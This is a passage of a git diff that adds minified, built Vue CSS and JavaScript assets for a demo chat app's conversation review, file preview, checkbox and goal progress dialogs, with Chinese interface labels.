ease}.icon-close-btn[data-v-a8179ad5]:hover:not(:disabled){background:var(--theme-tab-active);color:var(--text-primary)}.icon-close-btn[data-v-a8179ad5]:disabled{opacity:.45;cursor:not-allowed}.review-body[data-v-a8179ad5]{flex:1 1 auto;display:grid;grid-template-columns:360px 1fr;min-height:0}.review-left[data-v-a8179ad5]{border-right:1px solid var(--border-default);display:flex;flex-direction:column;min-height:0}.review-right[data-v-a8179ad5]{display:flex;flex-direction:column;min-height:0}.pane-head[data-v-a8179ad5]{flex:0 0 auto;height:40px;padding:0 16px;display:flex;align-items:center;justify-content:space-between}.pane-head-label[data-v-a8179ad5]{font-size:13px;font-weight:600;color:var(--text-primary)}.pane-head-meta[data-v-a8179ad5]{font-size:12px;color:var(--text-secondary)}.scroll-area[data-v-a8179ad5]{flex:1 1 auto;min-height:0;overflow-y:auto;overflow-x:hidden;scrollbar-width:none;-ms-overflow-style:none}.scroll-area[data-v-a8179ad5]::-webkit-scrollbar{width:0;height:0;display:none}.conversation-list[data-v-a8179ad5]{padding:4px 8px 8px;display:flex;flex-direction:column;gap:2px}.conversation-item[data-v-a8179ad5]{width:100%;height:60px;flex:0 0 60px;box-sizing:border-box;text-align:left;background:transparent;border:0;border-radius:10px;padding:0 12px;cursor:pointer;overflow:hidden;display:flex;flex-direction:column;justify-content:center;gap:5px;transition:background .14s ease,color .14s ease}.conversation-item[data-v-a8179ad5]:hover:not(:disabled),.conversation-item.active[data-v-a8179ad5]{background:var(--theme-tab-active)}.conversation-item.active[data-v-a8179ad5]{position:relative}.conversation-item.active[data-v-a8179ad5]:before{content:"";position:absolute;left:4px;top:14px;bottom:14px;width:3px;border-radius:999px;background:var(--text-secondary)}.conversation-item .row[data-v-a8179ad5]{display:flex;align-items:center;gap:8px;font-weight:600;color:var(--text-primary)}.conversation-item .item-title[data-v-a8179ad5]{flex:1 1 auto;min-width:0;font-size:14px;line-height:1.25;letter-spacing:-.01em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.conversation-item .tag[data-v-a8179ad5]{flex:0 0 auto;height:20px;display:inline-flex;align-items:center;padding:0 8px;border-radius:999px;font-size:12px;line-height:1;background:var(--theme-chip-bg);color:var(--text-secondary)}.conversation-item .meta[data-v-a8179ad5]{font-size:12px;line-height:1;color:var(--text-secondary);display:flex;gap:10px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.empty[data-v-a8179ad5]{text-align:center;color:var(--text-secondary);font-size:13px;padding:20px 0}.list-footer[data-v-a8179ad5]{flex:0 0 auto;padding:2px 0}.load-more-btn[data-v-a8179ad5]{width:100%;height:34px;border:0;border-radius:10px;padding:0 12px;background:transparent;color:var(--text-secondary);font-size:13px;text-align:left;cursor:pointer;transition:background .14s ease,color .14s ease}.load-more-btn[data-v-a8179ad5]:hover:not(:disabled){background:var(--theme-tab-active);color:var(--text-primary)}.load-more-btn[data-v-a8179ad5]:disabled{opacity:.5;cursor:not-allowed}.preview-box[data-v-a8179ad5]{padding:4px 12px 12px}.preview-list[data-v-a8179ad5]{display:flex;flex-direction:column;gap:1px;font-family:Menlo,Consolas,SFMono-Regular,monospace;font-size:13px;color:var(--text-primary);white-space:pre-wrap;word-break:break-word}.preview-line[data-v-a8179ad5]{padding:7px 10px;border-radius:8px;line-height:1.5}.preview-line[data-v-a8179ad5]:nth-child(odd){background:var(--theme-tab-active)}.placeholder[data-v-a8179ad5]{height:100%;min-height:220px;text-align:center;color:var(--text-secondary);display:flex;flex-direction:column;gap:10px;padding:20px;align-items:center;justify-content:center}.placeholder-icon[data-v-a8179ad5]{color:var(--text-tertiary);opacity:.9}.text-main[data-v-a8179ad5]{font-weight:600;font-size:14px;color:var(--text-secondary)}.text-sub[data-v-a8179ad5]{font-size:12px;color:var(--text-tertiary)}.placeholder.error .text-main[data-v-a8179ad5]{color:var(--state-warning)}.review-footer[data-v-a8179ad5]{flex:0 0 auto;height:64px;padding:0 20px;display:flex;align-items:center;justify-content:space-between;gap:14px;border-top:1px solid var(--border-default)}.toggle-send[data-v-a8179ad5]{display:inline-flex;align-items:center;gap:10px;height:38px;font-size:14px;color:var(--text-primary);cursor:pointer;-webkit-user-select:none;user-select:none}.toggle-send input[data-v-a8179ad5]{position:absolute;opacity:0;width:0;height:0}.toggle-send .switch[data-v-a8179ad5]{flex:0 0 auto;width:38px;height:22px;border-radius:999px;background:var(--theme-switch-track);position:relative;transition:background .2s ease}.toggle-send .switch[data-v-a8179ad5]:after{content:"";position:absolute;width:18px;height:18px;border-radius:50%;background:var(--theme-surface-strong);top:2px;left:2px;transition:transform .2s ease}.toggle-send input:checked+.switch[data-v-a8179ad5]{background:var(--accent-strong)}.toggle-send input:checked+.switch[data-v-a8179ad5]:after{transform:translate(16px)}.toggle-send .label[data-v-a8179ad5]{white-space:nowrap}.primary-btn[data-v-a8179ad5]{flex:0 0 auto;height:38px;border:0;border-radius:10px;padding:0 20px;font-size:14px;font-weight:600;cursor:pointer;background:var(--accent);color:var(--on-accent);transition:background .14s ease,color .14s ease}.primary-btn[data-v-a8179ad5]:hover:not(:disabled){background:var(--accent-hover)}.primary-btn[data-v-a8179ad5]:disabled,.conversation-item[data-v-a8179ad5]:disabled{opacity:.5;cursor:not-allowed}.conversation-item.current[data-v-a8179ad5]{cursor:default}@media (max-width: 860px){.review-body[data-v-a8179ad5]{grid-template-columns:1fr;grid-template-rows:1fr 1fr}.review-left[data-v-a8179ad5]{border-right:none;border-bottom:1px solid var(--border-default)}} diff --git a/demo/static/dist/assets/ConversationReviewDialog.js b/demo/static/dist/assets/ConversationReviewDialog.js new file mode 100644 index 0000000..06e8b40 --- /dev/null +++ b/demo/static/dist/assets/ConversationReviewDialog.js @@ -0,0 +1 @@ +import{d as b,b as n,c as a,g as t,t as o,f as d,y as v,n as u,F as g,r as m,i as w,A as k}from"./runtime-dom.esm-bundler.js";import{_ as f}from"./_plugin-vue_export-helper.js";const C={class:"review-window"},$={class:"review-header"},M={class:"header-actions"},B=["title"],x=["disabled"],I={class:"review-body"},S={class:"review-left"},L={class:"pane-head"},D={key:0,class:"pane-head-meta"},N={key:0,class:"empty"},p={key:1,class:"empty"},E=["onClick","disabled"],P={class:"row"},T={class:"item-title"},A={key:0,class:"tag current-tag"},F={class:"meta"},R={key:0},V={key:3,class:"list-footer"},z=["disabled"],H={class:"review-right"},U={class:"pane-head"},j={class:"pane-head-label"},q={key:0,class:"pane-head-meta"},G={key:0,class:"placeholder"},J={key:1,class:"placeholder error"},K={class:"text-main"},O={key:2,class:"placeholder"},Q={class:"text-sub"},W={key:3,class:"preview-list"},X={class:"review-footer"},Y={class:"toggle-send"},Z=["checked"],_=["disabled"],ee=b({name:"ConversationReviewDialog",__name:"ConversationReviewDialog",props:{open:{type:Boolean},conversations:{},selectedId:{},loading:{type:Boolean},loadingMore:{type:Boolean},hasMore:{type:Boolean},submitting:{type:Boolean},currentConversationId:{},preview:{},previewLoading:{type:Boolean},previewError:{},previewLimit:{},sendToModel:{type:Boolean},generatedPath:{},iconStyle:{type:Function}},emits:["close","select","load-more","confirm","toggle-send"],setup(e){const h=e,r=l=>h.iconStyle?h.iconStyle(l):{},y=l=>{if(!l)return"-";const s=new Date(l);if(Number.isNaN(s.getTime()))return"-";const i=c=>String(c).padStart(2,"0");return`${i(s.getMonth()+1)}/${i(s.getDate())} ${i(s.getHours())}:${i(s.getMinutes())}`};return(l,s)=>(n(),a("div",{class:"review-overlay",onClick:s[4]||(s[4]=k(i=>l.$emit("close"),["self"]))},[t("div",C,[t("div",$,[s[5]||(s[5]=t("div",{class:"header-titles"},[t("div",{class:"title"},"对话回顾"),t("div",{class:"subtitle"},"选择要生成回顾文件的对话")],-1)),t("div",M,[e.generatedPath?(n(),a("div",{key:0,class:"hint",title:e.generatedPath}," 已生成 "+o(e.generatedPath),9,B)):d("",!0),t("button",{type:"button",class:"icon-close-btn","aria-label":"关闭",title:"关闭",onClick:s[0]||(s[0]=i=>l.$emit("close")),disabled:e.submitting},[t("span",{class:"icon icon-sm",style:v(r("x")),"aria-hidden":"true"},null,4)],8,x)])]),t("div",I,[t("div",S,[t("div",L,[s[6]||(s[6]=t("span",{class:"pane-head-label"},"对话列表",-1)),e.conversations.length?(n(),a("span",D," 共 "+o(e.conversations.length)+" 条 ",1)):d("",!0)]),t("div",{class:u(["scroll-area conversation-list",{loading:e.loading}])},[e.loading?(n(),a("div",N,"正在加载...")):e.conversations.length?(n(!0),a(g,{key:2},m(e.conversations,i=>(n(),a("button",{key:i.id,type:"button",class:u(["conversation-item",{active:i.id===e.selectedId,current:i.id===e.currentConversationId}]),onClick:c=>l.$emit("select",i.id),disabled:e.submitting||i.id===e.currentConversationId},[t("div",P,[t("span",T,o(i.title||"未命名对话"),1),i.id===e.currentConversationId?(n(),a("span",A,"当前")):d("",!0)]),t("div",F,[t("span",null,o(y(i.updated_at)),1),t("span",null,[w(o(i.total_messages||0)+"条 ",1),(i.total_tools||0)>0?(n(),a("span",R," · "+o(i.total_tools)+"工具",1)):d("",!0)])])],10,E))),128)):(n(),a("div",p,"暂无对话")),e.conversations.length||e.hasMore?(n(),a("div",V,[t("button",{type:"button",class:"load-more-btn",onClick:s[1]||(s[1]=i=>l.$emit("load-more")),disabled:e.loadingMore||!e.hasMore||e.submitting},o(e.loadingMore?"载入中...":e.hasMore?"加载更多":"没有更多了"),9,z)])):d("",!0)],2)]),t("div",H,[t("div",U,[t("span",j,"预览(前 "+o(e.previewLimit)+" 条)",1),e.preview&&e.preview.length?(n(),a("span",q,o(e.preview.length)+" 条 ",1)):d("",!0)]),t("div",{class:u(["scroll-area preview-box",{loading:e.previewLoading}])},[e.previewLoading?(n(),a("div",G,[t("span",{class:"icon icon-xl placeholder-icon",style:v(r("clock")),"aria-hidden":"true"},null,4),s[7]||(s[7]=t("div",{class:"text-main"},"预览生成中...",-1))])):e.previewError?(n(),a("div",J,[t("span",{class:"icon icon-xl placeholder-icon",style:v(r("triangleAlert")),"aria-hidden":"true"},null,4),t("div",K,o(e.previewError),1)])):!e.preview||!e.preview.length?(n(),a("div",O,[t("span",{class:"icon icon-xl placeholder-icon",style:v(r("file")),"aria-hidden":"true"},null,4),s[8]||(s[8]=t("div",{class:"text-main"},"选择左侧对话以查看预览",-1)),t("div",Q,"最多展示前 "+o(e.previewLimit)+" 条",1)])):(n(),a("div",W,[(n(!0),a(g,null,m(e.preview,(i,c)=>(n(),a("div",{key:c,class:"preview-line"},o(i),1))),128))]))],2)])]),t("div",X,[t("label",Y,[t("input",{type:"checkbox",checked:e.sendToModel,onChange:s[2]||(s[2]=i=>l.$emit("toggle-send",i.target.checked))},null,40,Z),s[9]||(s[9]=t("span",{class:"switch"},null,-1)),s[10]||(s[10]=t("span",{class:"label"},"是否发送给模型",-1))]),t("button",{type:"button",class:"primary-btn",onClick:s[3]||(s[3]=i=>l.$emit("confirm")),disabled:!e.selectedId||e.submitting},o(e.submitting?"生成中...":"确认"),9,_)])])]))}}),ie=f(ee,[["__scopeId","data-v-a8179ad5"]]);export{ie as default}; diff --git a/demo/static/dist/assets/FancyCheck.css b/demo/static/dist/assets/FancyCheck.css new file mode 100644 index 0000000..397d701 --- /dev/null +++ b/demo/static/dist/assets/FancyCheck.css @@ -0,0 +1 @@ +.fancy-check[data-v-d670a96f]{display:inline-flex;align-items:center;justify-content:center;flex:none}.fancy-check svg[data-v-d670a96f]{display:block;overflow:visible}.fancy-path[data-v-d670a96f]{fill:none;stroke:var(--text-secondary);stroke-width:5;stroke-linecap:round;stroke-linejoin:round;transition:stroke-dasharray .5s ease,stroke-dashoffset .5s ease,stroke .2s ease;stroke-dasharray:241 9999999;stroke-dashoffset:0}.fancy-check.is-checked .fancy-path[data-v-d670a96f]{stroke-dasharray:70.5096664428711 9999999;stroke-dashoffset:-262.2723388671875}.fancy-check.is-checked.accent-checked .fancy-path[data-v-d670a96f]{stroke:var(--accent)} diff --git a/demo/static/dist/assets/FancyCheck.js b/demo/static/dist/assets/FancyCheck.js new file mode 100644 index 0000000..0eb09ac --- /dev/null +++ b/demo/static/dist/assets/FancyCheck.js @@ -0,0 +1 @@ +import{d as s,b as c,c as t,n,y as o,g as d}from"./runtime-dom.esm-bundler.js";import{_ as l}from"./_plugin-vue_export-helper.js";const h=s({__name:"FancyCheck",props:{checked:{type:Boolean,default:!1},size:{default:22},accentChecked:{type:Boolean,default:!1}},setup(e){return(i,a)=>(c(),t("span",{class:n(["fancy-check",{"is-checked":e.checked,"accent-checked":e.accentChecked}]),"aria-hidden":"true"},[(c(),t("svg",{viewBox:"0 0 64 64",style:o({width:`${e.size}px`,height:`${e.size}px`})},[...a[0]||(a[0]=[d("path",{d:"M 0 16 V 56 A 8 8 90 0 0 8 64 H 56 A 8 8 90 0 0 64 56 V 8 A 8 8 90 0 0 56 0 H 8 A 8 8 90 0 0 0 8 V 16 L 32 48 L 64 16 V 8 A 8 8 90 0 0 56 0 H 8 A 8 8 90 0 0 0 8 V 56 A 8 8 90 0 0 8 64 H 56 A 8 8 90 0 0 64 56 V 16",pathLength:"575.0541381835938",class:"fancy-path"},null,-1)])],4))],2))}}),p=l(h,[["__scopeId","data-v-d670a96f"]]);export{p as F}; diff --git a/demo/static/dist/assets/FilePreviewDialog.css b/demo/static/dist/assets/FilePreviewDialog.css new file mode 100644 index 0000000..fcd805a --- /dev/null +++ b/demo/static/dist/assets/FilePreviewDialog.css @@ -0,0 +1 @@ +.show-file-card[data-v-cce8e4a8]{border:1px solid var(--border-soft);border-radius:8px;background:var(--surface-card);overflow:hidden;margin:8px 0;font-size:13px}.sfc-header[data-v-cce8e4a8]{display:flex;align-items:center;gap:10px;padding:10px 12px;background:var(--surface-soft)}.sfc-file-icon[data-v-cce8e4a8]{flex-shrink:0;width:20px;height:20px;background-size:contain;background-repeat:no-repeat;background-position:center;opacity:.7}.sfc-title-group[data-v-cce8e4a8]{flex:1;min-width:0;display:flex;flex-direction:column;gap:2px}.sfc-name[data-v-cce8e4a8]{font-weight:500;color:var(--text-primary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.sfc-meta[data-v-cce8e4a8]{font-size:11px;color:var(--text-tertiary)}.sfc-actions[data-v-cce8e4a8]{flex-shrink:0;display:flex;gap:6px}.sfc-btn[data-v-cce8e4a8]{display:inline-flex;align-items:center;gap:4px;height:28px;padding:0 10px;border:1px solid var(--border-default);border-radius:6px;background:var(--surface-base);color:var(--text-secondary);font-size:12px;cursor:pointer;transition:background .15s,border-color .15s}.sfc-btn[data-v-cce8e4a8]:hover{background:var(--surface-muted);border-color:var(--border-strong)}.sfc-btn-download[data-v-cce8e4a8]{color:var(--accent-primary)}.sfc-btn-text[data-v-cce8e4a8]{line-height:1}.sfc-description[data-v-cce8e4a8]{padding:6px 12px;font-size:12px;color:var(--text-tertiary);border-bottom:1px solid var(--border-soft)}.sfc-preview[data-v-cce8e4a8]{border-top:1px solid var(--border-soft);max-height:400px;overflow:auto;position:relative}.sfc-loading[data-v-cce8e4a8],.sfc-error[data-v-cce8e4a8]{display:flex;align-items:center;gap:8px;padding:20px;color:var(--text-tertiary);justify-content:center;font-size:12px}.sfc-error[data-v-cce8e4a8]{color:var(--state-error)}.sfc-spinner[data-v-cce8e4a8]{width:14px;height:14px;border:2px solid var(--border-default);border-top-color:var(--accent-primary);border-radius:50%;animation:sfc-spin-cce8e4a8 .8s linear infinite}@keyframes sfc-spin-cce8e4a8{to{transform:rotate(360deg)}}.sfc-code-header[data-v-cce8e4a8]{display:flex;align-items:center;justify-content:space-between;padding:6px 12px;background:var(--surface-soft);border-bottom:1px solid var(--border-soft);font-size:11px}.sfc-lang[data-v-cce8e4a8]{color:var(--text-tertiary);text-transform:uppercase;letter-spacing:.5px}.sfc-code[data-v-cce8e4a8]{margin:0;padding:12px;font-family:SF Mono,Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;white-space:pre-wrap;word-break:break-word;color:var(--text-primary);background:var(--surface-base)}.sfc-btn-copy[data-v-cce8e4a8]{height:22px;padding:0 8px;font-size:11px}.sfc-csv-scroll[data-v-cce8e4a8]{overflow:auto;max-height:350px}.sfc-csv-table[data-v-cce8e4a8]{width:100%;border-collapse:collapse;font-size:12px}.sfc-csv-table th[data-v-cce8e4a8],.sfc-csv-table td[data-v-cce8e4a8]{padding:6px 10px;border:1px solid var(--border-soft);text-align:left;white-space:nowrap}.sfc-csv-table th[data-v-cce8e4a8]{background:var(--surface-soft);font-weight:600;position:sticky;top:0}.sfc-csv-meta[data-v-cce8e4a8]{padding:6px 12px;font-size:11px;color:var(--text-tertiary);text-align:center;border-top:1px solid var(--border-soft)}.sfc-md[data-v-cce8e4a8]{padding:12px;max-height:400px;overflow:auto}.sfc-image[data-v-cce8e4a8]{display:block;max-width:100%;max-height:400px;margin:0 auto;cursor:zoom-in;padding:12px}.sfc-pdf[data-v-cce8e4a8]{width:100%;height:400px;border:none;display:block}.file-preview-overlay[data-v-8904da9a]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--overlay-scrim);z-index:1000;display:flex;align-items:center;justify-content:center;padding:24px}.file-preview-modal[data-v-8904da9a]{background:var(--surface-base);border-radius:12px;width:100%;max-width:800px;max-height:85vh;display:flex;flex-direction:column;overflow:hidden;box-shadow:var(--shadow-strong)}.file-preview-header[data-v-8904da9a]{display:flex;align-items:center;justify-content:space-between;padding:12px 16px;border-bottom:1px solid var(--border-soft)}.file-preview-title[data-v-8904da9a]{font-weight:600;font-size:14px;color:var(--text-primary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.file-preview-close[data-v-8904da9a]{flex-shrink:0;display:flex;align-items:center;justify-content:center;width:32px;height:32px;border:none;border-radius:6px;background:transparent;color:var(--text-tertiary);cursor:pointer;transition:background .15s,color .15s}.file-preview-close[data-v-8904da9a]:hover{background:var(--surface-muted);color:var(--text-primary)}.file-preview-body[data-v-8904da9a]{flex:1;overflow:auto;padding:16px} diff --git a/demo/static/dist/assets/FilePreviewDialog.js b/demo/static/dist/assets/FilePreviewDialog.js new file mode 100644 index 0000000..84cc215 --- /dev/null +++ b/demo/static/dist/assets/FilePreviewDialog.js @@ -0,0 +1 @@ +import{d as V,a as Y,w as Z,b as a,c as l,n as H,e,y as k,t as f,h as p,F as _,r as I,k as b,l as u,q as ee,z as te}from"./runtime-dom.esm-bundler.js";import{P as U,r as se}from"./useMarkdownRenderer.js";import{_ as q}from"./_plugin-vue_export-helper.js";const ae={class:"sfc-header"},le={class:"sfc-title-group"},ne=["title"],ie={key:0,class:"sfc-meta"},oe={class:"sfc-actions"},ce={key:0,class:"sfc-description"},re={key:0,class:"sfc-loading"},ue={key:1,class:"sfc-error"},de={key:0,class:"sfc-code-header"},ve={class:"sfc-lang"},fe=["innerHTML"],pe={class:"sfc-csv-scroll"},ye={class:"sfc-csv-table"},he={key:0,class:"sfc-csv-meta"},me=["innerHTML"],we=["src","alt"],ge=["src","title"],ke=V({name:"ShowFileCard",__name:"ShowFileCard",props:{path:{},name:{},type:{},description:{},preview:{},iconStyle:{type:Function},downloadFile:{type:Function}},setup(n){const o=n,d=b(!1),v=b(""),y=b(!1),r=b(""),j=b(!1),x=b(""),i=u(()=>o.type||"binary"),F=u(()=>o.name||o.path.split("/").pop()||"file"),S=u(()=>o.preview==="off"?!1:["text","code","json","csv","markdown","image","pdf"].includes(i.value)),E=u(()=>{switch(i.value){case"image":return"file";case"pdf":return"file";case"csv":return"file";case"markdown":return"file";default:return"file"}}),N=u(()=>{var c;const t=[],s=(c=o.path.split(".").pop())==null?void 0:c.toUpperCase();if(s&&t.push(s),r.value){const h=(new Blob([r.value]).size/1024).toFixed(1);t.push(`${h} KB`)}return t.join(" · ")}),$=u(()=>{var c;if(i.value==="json")return"json";const t=((c=o.path.split(".").pop())==null?void 0:c.toLowerCase())||"";return{js:"javascript",ts:"typescript",jsx:"jsx",tsx:"tsx",py:"python",rb:"ruby",go:"go",rs:"rust",java:"java",c:"c",cpp:"cpp",cs:"csharp",php:"php",swift:"swift",kt:"kotlin",sh:"bash",bash:"bash",html:"html",css:"css",scss:"scss",xml:"xml",sql:"sql",vue:"markup"}[t]||"text"}),K=u(()=>{if(!r.value)return"";let t=r.value;if(i.value==="json")try{t=JSON.stringify(JSON.parse(t),null,2)}catch{}try{const s=U.languages[$.value];if(s)return U.highlight(t,s,$.value)}catch{}return t.replace(/&/g,"&").replace(//g,">")}),R=u(()=>r.value?se(r.value,!1):""),T=u(()=>{if(i.value!=="csv"||!r.value)return null;const t=r.value.split(/\r?\n/).filter(m=>m.trim()),s=m=>{const L=[];let w="",P=!1;for(let C=0;Cc+1}}),J=u(()=>{var t;return((t=T.value)==null?void 0:t.header)||[]}),z=u(()=>{var t;return((t=T.value)==null?void 0:t.rows)||[]}),O=u(()=>{var t;return((t=T.value)==null?void 0:t.truncated)||!1});function D(){return`/api/file/content?path=${encodeURIComponent(o.path)}`}async function M(){y.value?y.value=!1:(y.value=!0,!r.value&&!v.value&&await A())}async function A(){d.value=!0,v.value="";try{if(["image","pdf"].includes(i.value))x.value=D();else{const t=await fetch(D());if(!t.ok){let s=t.statusText;try{s=(await t.json()).error||s}catch{}v.value=s||"加载失败";return}r.value=await t.text()}}catch(t){v.value=t.message||"网络错误"}finally{d.value=!1}}async function Q(){await o.downloadFile(o.path)}async function G(){if(r.value)try{await navigator.clipboard.writeText(r.value),j.value=!0,setTimeout(()=>{j.value=!1},2e3)}catch{}}function W(){x.value&&window.open(x.value,"_blank")}function X(){v.value="图片加载失败"}return Y(()=>{}),Z(()=>o.preview,t=>{t==="auto"&&S.value&&!y.value&&M()},{immediate:!0}),(t,s)=>(a(),l("div",{class:H(["show-file-card",{"is-loading":d.value,"is-error":v.value}])},[e("div",ae,[e("span",{class:"sfc-file-icon",style:k(n.iconStyle(E.value)),"aria-hidden":"true"},null,4),e("div",le,[e("span",{class:"sfc-name",title:F.value},f(F.value),9,ne),N.value?(a(),l("span",ie,f(N.value),1)):p("",!0)]),e("div",oe,[S.value&&!y.value?(a(),l("button",{key:0,type:"button",class:"sfc-btn sfc-btn-preview",onClick:M,title:"预览"},[e("span",{class:"icon icon-sm",style:k(n.iconStyle("eye")),"aria-hidden":"true"},null,4),s[0]||(s[0]=e("span",{class:"sfc-btn-text"},"预览",-1))])):p("",!0),S.value&&y.value?(a(),l("button",{key:1,type:"button",class:"sfc-btn sfc-btn-preview",onClick:M,title:"收起"},[e("span",{class:"icon icon-sm",style:k(n.iconStyle("eye")),"aria-hidden":"true"},null,4),s[1]||(s[1]=e("span",{class:"sfc-btn-text"},"收起",-1))])):p("",!0),e("button",{type:"button",class:"sfc-btn sfc-btn-download",onClick:Q,title:"下载"},[e("span",{class:"icon icon-sm",style:k(n.iconStyle("save")),"aria-hidden":"true"},null,4),s[2]||(s[2]=e("span",{class:"sfc-btn-text"},"下载",-1))])])]),n.description?(a(),l("div",ce,f(n.description),1)):p("",!0),y.value?(a(),l("div",{key:1,class:H(["sfc-preview",`sfc-preview-${i.value}`])},[d.value?(a(),l("div",re,[...s[3]||(s[3]=[e("span",{class:"sfc-spinner"},null,-1),e("span",null,"加载中...",-1)])])):v.value?(a(),l("div",ue,[e("span",{class:"icon icon-sm",style:k(n.iconStyle("triangleAlert")),"aria-hidden":"true"},null,4),e("span",null,f(v.value),1)])):i.value==="text"||i.value==="code"||i.value==="json"?(a(),l(_,{key:2},[i.value==="code"||i.value==="json"?(a(),l("div",de,[e("span",ve,f($.value),1),e("button",{type:"button",class:"sfc-btn sfc-btn-copy",onClick:G},[e("span",{class:"icon icon-sm",style:k(n.iconStyle("copy")),"aria-hidden":"true"},null,4),e("span",null,f(j.value?"已复制":"复制"),1)])])):p("",!0),e("pre",{class:"sfc-code",innerHTML:K.value},null,8,fe)],64)):i.value==="csv"?(a(),l(_,{key:3},[e("div",pe,[e("table",ye,[e("thead",null,[e("tr",null,[(a(!0),l(_,null,I(J.value,(c,h)=>(a(),l("th",{key:h},f(c),1))),128))])]),e("tbody",null,[(a(!0),l(_,null,I(z.value,(c,h)=>(a(),l("tr",{key:h},[(a(!0),l(_,null,I(c,(B,m)=>(a(),l("td",{key:m},f(B),1))),128))]))),128))])])]),O.value?(a(),l("div",he," 仅显示前 "+f(z.value.length)+" 行,完整内容请下载查看 ",1)):p("",!0)],64)):i.value==="markdown"?(a(),l("div",{key:4,class:"sfc-md",innerHTML:R.value},null,8,me)):i.value==="image"?(a(),l("img",{key:5,class:"sfc-image",src:x.value,alt:F.value,onClick:W,onError:X},null,40,we)):i.value==="pdf"?(a(),l("iframe",{key:6,class:"sfc-pdf",src:x.value,title:F.value},null,8,ge)):p("",!0)],2)):p("",!0)],2))}}),be=q(ke,[["__scopeId","data-v-cce8e4a8"]]),xe={class:"file-preview-modal"},Ce={class:"file-preview-header"},_e={class:"file-preview-title"},Fe={class:"file-preview-body"},je=V({name:"FilePreviewDialog",__name:"FilePreviewDialog",props:{path:{},name:{},type:{},iconStyle:{type:Function},downloadFile:{type:Function}},emits:["close"],setup(n){return(o,d)=>(a(),l("div",{class:"file-preview-overlay",onClick:d[1]||(d[1]=te(v=>o.$emit("close"),["self"]))},[e("div",xe,[e("div",Ce,[e("span",_e,f(n.name),1),e("button",{type:"button",class:"file-preview-close",onClick:d[0]||(d[0]=v=>o.$emit("close")),title:"关闭"},[...d[2]||(d[2]=[e("svg",{viewBox:"0 0 24 24",width:"20",height:"20",fill:"none",stroke:"currentColor","stroke-width":"2"},[e("line",{x1:"18",y1:"6",x2:"6",y2:"18"}),e("line",{x1:"6",y1:"6",x2:"18",y2:"18"})],-1)])])]),e("div",Fe,[ee(be,{path:n.path,name:n.name,type:n.type,preview:"auto","icon-style":n.iconStyle,"download-file":n.downloadFile},null,8,["path","name","type","icon-style","download-file"])])])]))}}),Me=q(je,[["__scopeId","data-v-8904da9a"]]);export{Me as default}; diff --git a/demo/static/dist/assets/GoalProgressDialog.css b/demo/static/dist/assets/GoalProgressDialog.css new file mode 100644 index 0000000..df4af14 --- /dev/null +++ b/demo/static/dist/assets/GoalProgressDialog.css @@ -0,0 +1 @@ +.goal-progress-modal[data-v-31b00366]{min-width:360px;max-width:520px}.goal-progress-meta[data-v-31b00366]{display:flex;align-items:center;gap:10px;flex-wrap:wrap;padding:4px 0 12px}.goal-progress-status[data-v-31b00366]{font-size:12px;padding:2px 10px;border-radius:999px;border:1px solid var(--theme-chip-border);background:color-mix(in srgb,var(--theme-surface-soft) 92%,var(--text-tertiary) 8%);color:var(--text-secondary)}.goal-progress-status.is-running[data-v-31b00366]{color:var(--accent);border-color:var(--accent);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--accent) 18%)}.goal-progress-status.is-done[data-v-31b00366]{color:var(--state-success);border-color:var(--state-success);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-success) 18%)}.goal-progress-status.is-stopped[data-v-31b00366]{color:var(--state-warning);border-color:var(--state-warning);background:color-mix(in srgb,var(--theme-surface-soft) 82%,var(--state-warning) 18%)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-secondary);background:color-mix(in srgb,var(--theme-surface-muted) 82%,var(--text-tertiary) 18%);border-color:var(--theme-control-border-strong)}:root[data-theme=dark],body[data-theme=dark]{color:var(--text-primary);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--accent) 28%);border-color:color-mix(in srgb,var(--accent) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-success) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-success) 28%);border-color:color-mix(in srgb,var(--state-success) 70%,white 30%)}:root[data-theme=dark],body[data-theme=dark]{color:color-mix(in srgb,var(--state-warning) 30%,white);background:color-mix(in srgb,var(--theme-surface-muted) 72%,var(--state-warning) 28%);border-color:color-mix(in srgb,var(--state-warning) 70%,white 30%)}.goal-progress-goal[data-v-31b00366]{font-size:13px;color:var(--text-secondary);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;max-width:100%}.goal-progress-metrics[data-v-31b00366]{display:grid;grid-template-columns:repeat(4,1fr);gap:10px;margin-bottom:12px}.goal-metric[data-v-31b00366]{text-align:center;padding:10px 6px;border-radius:10px;background:var(--theme-surface-muted);border:1px solid var(--theme-control-border)}.goal-metric__value[data-v-31b00366]{font-size:18px;font-weight:600;color:var(--text-primary)}.goal-metric__label[data-v-31b00366]{margin-top:4px;font-size:11px;color:var(--text-tertiary)}.goal-progress-reason[data-v-31b00366]{font-size:13px;color:var(--state-warning);margin-bottom:10px}.goal-progress-summary[data-v-31b00366]{border-top:1px solid var(--theme-control-border);padding-top:10px}.goal-progress-summary__title[data-v-31b00366]{font-size:12px;color:var(--text-tertiary);margin-bottom:6px}.goal-progress-summary__body[data-v-31b00366]{font-size:13px;line-height:1.6;color:var(--text-primary);white-space:pre-wrap;word-break:break-word;max-height:240px;overflow-y:auto}@media (max-width: 520px){.goal-progress-metrics[data-v-31b00366]{grid-template-columns:repeat(2,1fr)}} diff --git a/demo/static/dist/assets/GoalProgressDialog.js b/demo/static/dist/assets/GoalProgressDialog.js new file mode 100644 index 0000000..b45d415 --- /dev/null +++ b/demo/static/dist/assets/GoalProgressDialog.js @@ -0,0 +1 @@ +import{d as F,w as G,a as I,b as c,e as P,s as A,c as d,A as E,g as t,t as r,n as L,f as v,T as V,l as a,k as p}from"./runtime-dom.esm-bundler.js";import{_ as z}from"./_plugin-vue_export-helper.js";const O={class:"subagent-activity-modal 